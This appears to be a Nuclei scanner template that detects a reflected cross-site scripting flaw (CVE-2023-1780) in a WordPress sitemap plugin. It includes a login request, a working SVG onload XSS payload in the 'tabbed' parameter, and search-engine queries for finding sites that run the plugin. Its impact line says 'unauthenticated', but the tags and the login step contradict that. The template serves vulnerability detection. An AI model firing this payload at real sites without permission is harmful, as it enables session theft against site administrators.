CVE-2023-1780: Companion Sitemap Generator < 4.5.3 - Cross-Site Scripting

id: CVE-2023-1780

info:
  name: Companion Sitemap Generator < 4.5.3 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the tabbed parameter in sitemap generator pages to steal session cookies from high-privilege users including WordPress administrators.
  remediation: Fixed in version 4.5.3
  reference:
    - https://wpscan.com/vulnerability/8176308f-f210-4109-9c88-9372415dbed3
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1780
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-1780
    cwe-id: CWE-79
    epss-score: 0.00998
    epss-percentile: 0.61018
    cpe: cpe:2.3:a:codeermeneer:companion_sitemap_generator:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: codeermeneer
    product: companion_sitemap_generator
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/companion-sitemap-generator/
    fofa-query: body=/wp-content/plugins/companion-sitemap-generator/
    publicwww-query: "/wp-content/plugins/companion-sitemap-generator/"
  tags: cve,cve2023,wpscan,wp,wordpress,wp-scan,xss,authenticated,codeermeneer,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/tools.php?page=csg-sitemap&tabbed=%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "re not allowed to view")'
          - 'contains(body_2, "<svg/onload=alert(document.domain)>")'
        condition: and
# digest: 4a0a0047304502202ac71632d81bea942f1ad94108785676312a09fbbaf2f597c2f9ffba9e032a650221009ef91450a63cbfcdb5b17af4e7f2940a7e57c34cc9af469fca0585f62826d740:922c64590222798bb761d5b6d8e72950

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